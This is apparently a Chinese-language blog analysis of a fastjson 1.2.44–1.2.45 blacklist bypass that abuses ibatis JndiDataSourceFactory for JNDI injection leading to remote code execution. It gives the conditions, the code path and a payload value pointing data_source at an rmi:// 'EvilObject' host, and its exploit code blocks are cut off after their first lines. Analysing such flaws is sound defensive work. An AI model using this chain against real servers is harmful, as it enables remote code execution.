1.2.44版本中对L和[开头的情况进行了防御,使得在1.2.44版本时并没有出现任何的checkAutoType的绕过。但是却出现了对于黑名单的绕过。本篇文章对此进行深入的分析。
整个复现系列的payload放在了github上。
漏洞信息
影响版本
- 1.2.44 <= fastjson <= 1.2.45
- fastjson <= 1.2.43 (也可成立,需要添加ibatis第三方包,而在前面的版本中无需ibatis包也可RCE)
利用条件
- 打开autoType
- 具备ibatis第三方包
漏洞分析
黑名单的绕过是使用了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这个类,使用这个类需要额外的加入ibatis第三方包。由于ibatis在项目中也经常使用,所以影响范围广。
先来看看这个类,定位到setProperties()函数,如下所示:

在该函数中我们可以看到,有着JNDI注入的完整的一套。接下来看看uri即properties.getProperty("data_source")是否可控。那就需要在整个的过程中也反序列化getProperties()传入的参数。定位到该函数

在该函数中会调用父类即HashMap.get(‘data_source’),获取到值。因此,传入的Properties为一个具有"data_source":"rmi://127.0.0.1:1099/EvilObject"key-value对的HashMap即可。
EXP构造
JndiDataSourceFactory
根据以上分析,可得出EXP为:
1 | { |
完整的demo为
1 | import com.alibaba.fastjson.JSON; |
补丁
补丁就是增加了黑名单
